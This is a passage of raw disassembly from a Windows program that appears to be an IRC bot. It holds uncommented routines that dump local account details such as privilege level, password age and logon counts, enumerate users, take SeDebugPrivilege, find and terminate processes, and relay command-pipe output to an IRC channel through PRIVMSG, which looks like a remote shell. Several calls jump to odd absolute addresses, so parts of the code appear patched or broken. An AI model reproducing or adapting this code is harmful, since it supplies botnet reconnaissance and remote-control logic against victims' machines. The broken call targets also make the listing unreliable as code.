sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DAE20 lea eax, [eax+eax*2] push off_4389D0[eax*4] push offset unk_439128 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE7C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE6C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFFC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_4391A0 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB034 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAF04 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439390 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43935C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB034 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB034 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DABC0 call sub_41B886 pop ecx mov eax, offset dword_4DABC0 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAFB4 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA9BC push offset unk_4396C4 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA9BC push eax push offset dword_439698 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 271069Dh push eax call dword_4CAF88 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF60 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB010 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26619D4h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAFC4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAFA8, ebx jz loc_4198BB cmp dword_4CAEB8, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAFC4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAFA8 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAEB8 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396F0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2831089h test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439750 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax call near ptr 270099Bh nop test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAFC4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE64 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAEB8 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 270099Bh test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398F0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398CC jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_4398A8 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 268029Ah nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call near ptr 270099Bh nop test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26619D4h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396ECh, 74B0E890h, 0E3EB0225h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB228 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB230 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB224 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB22C call near ptr 26F0000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D158 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h call near ptr 2670ECEh nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB234 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB228 nop call near ptr 28318F6h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB224 nop call near ptr 2831481h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2670ECEh jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB228 call near ptr 2700000h nop test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB268 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- 